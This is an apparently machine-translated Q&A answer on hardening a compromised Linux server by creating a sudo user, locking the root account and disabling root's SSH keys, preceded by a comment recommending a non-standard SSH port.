@ user20574。尽管并非绝对必要,但降低SSH服务的可见性仍然非常有帮助。即使仅出于消除日志混乱的原因。如果一台机器只需要有限的人员访问,那么非标准端口是提高安全性的完全合理的步骤。
user1751825 '02

6

设置前端Linux / Unix服务器后,任何人/每个人都应该做的第一件事就是立即禁用root

您的系统已受到威胁。您有一个正在运行的历史记录日志,从某种程度上看可能很不错。但是说实话,具体细节有些挑剔,并且不能帮助您保护服务器。它显示了当僵尸网络产生恶意软件(很可能是感染服务器的恶意软件)感染Linux系统时发生的各种废话。@MariusMatutiae提供答案很好,经过深思熟虑,还有其他一些人重复说您是通过root访问被黑客入侵的,这是恶意软件/僵尸网络的梦dream以求的。

关于如何禁用有一些解释,root但是我将根据个人经验进行说明,大多数超出我现在要描述的内容都是过大的。这是您首次设置服务器时应该做的事情:

  1. 创建具有sudo权限的新用户:cooldude使用命令(例如,sudo adduser cooldude如果您正在使用Ubuntu或其他类型的Debian系统)创建具有新名称(例如)的新用户。然后,只需sudo使用这样的命令手动编辑文件,sudo nano /etc/sudoerscooldude ALL=(ALL:ALL) ALL在应读取的等效行下方添加一行即可root ALL=(ALL:ALL) ALL。完成后,以as身份登录cooldudesudo使用诸如sudo w基本和非破坏性命令之类的命令测试该命令,以查看sudo权限是否有效。可能会提示您输入密码。这样可行?都好!进行下一步。
  2. 锁定root帐户:好的,现在cooldude负责sudo权限的用户登录为,cooldude然后运行此命令来锁定根帐户sudo passwd -l root。如果您已经为创建了SSH密钥对root,请打开/root/.ssh/authorized_keys并删除密钥。更好的方法是,authorized_keys_OFF像这样重命名该文件,sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF以有效地禁用SSH密钥。我更喜欢后者,因为在偶然的机会上,您仍然需要较少的密码登录,您可以将文件移回原始名称,这样就可以了。

FWIW,多年来,我已经管理了数十台Linux服务器(数十年?),并且从经验中知道,简单地禁用(root并设置具有sudo权限的新用户)是保护任何Linux系统的最简单,最基本的方法。root禁用SSH后,我再也不必处理任何类型的威胁。是的,您可能会看到尝试通过进行登录,auth.log但它们毫无意义;如果root被禁用,那么这些尝试将永远不会加起来。只是坐下来,看着尝试不断失败!

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.